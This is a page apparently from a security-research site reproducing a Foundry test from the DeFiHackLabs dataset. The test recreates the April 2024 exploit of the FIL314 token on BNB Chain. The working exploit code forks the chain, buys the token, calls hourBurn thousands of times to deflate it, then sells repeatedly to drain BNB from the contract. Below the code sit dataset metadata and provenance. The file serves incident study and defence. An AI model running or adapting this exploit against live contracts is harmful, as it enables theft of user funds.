Public reproduction file
src/test/2024-04/FIL314_exp.sol
Public reproduction file for dataset entry FIL314.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~14 BNB8// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c9// Attack Contract : https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a010// Created Attack Contract: https://bscscan.com/address/0x5C01B97299b32BaF75B4940fDaE158656C23184711// Vulnerable Contract : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af12// Attack Tx : https://bscscan.com/tx/0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c14// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af#code17interface IFIL314 {18 function getAmountOut(uint256 value, bool buy) external returns (uint256);19 function hourBurn() external;20 function transfer(address to, uint256 value) external returns (bool);21 function balanceOf(22 address account23 ) external view returns (uint256);24}26contract FIL314 is Test {27 uint256 blocknumToForkFrom = 37_795_991;28 IFIL314 FIL314 = IFIL314(0xE8A290c6Fc6Fa6C0b79C9cfaE1878d195aeb59aF);30 function setUp() public {31 vm.createSelectFork("bsc", blocknumToForkFrom);32 }34 function testExploit() public {35 // Implement exploit code here36 emit log_named_decimal_uint(" Attacker BNB Balance Before exploit", address(this).balance, 18);37 // buy FIL314 token38 address(FIL314).call{value: 0.05 ether}("");39 // deflate the token40 for (uint256 i = 0; i < 6000; i++) {41 FIL314.hourBurn();42 }43 for (uint256 i = 0; i < 10; i++) {44 uint256 amount = FIL314.getAmountOut(address(FIL314).balance, true);45 // sell the token46 FIL314.transfer(address(FIL314), amount);47 }49 // Log balances after exploit50 emit log_named_decimal_uint(" Attacker BNB Balance After exploit", address(this).balance, 18);51 }53 fallback() external payable {}54}Analysis
Dataset entry
Public Foundry test for “FIL314” (2024-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4645863205b47a0a3344684489e8c446a437d66c
- Attack Contract
0xde521fbbbb0dbcfa57325a9896c34941f23e96a0
- Vulnerable Contract
0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af
- Attack Tx
0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c
- Explorer: https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c
- Explorer: https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0
- Explorer: https://bscscan.com/address/0x5C01B97299b32BaF75B4940fDaE158656C231847
- Explorer: https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af
- Explorer: https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af#code
File record
- Name
- FIL314
- Path
- src/test/2024-04/FIL314_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 02f8fa0ad50c3ee01eef6e99a67c114039fe12e1
- Language
- Solidity
- Size
- 55 lines
- Date
- 2024-04-12
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/FIL314_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 02f8fa0ad50c3ee01eef6e99a67c114039fe12e1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.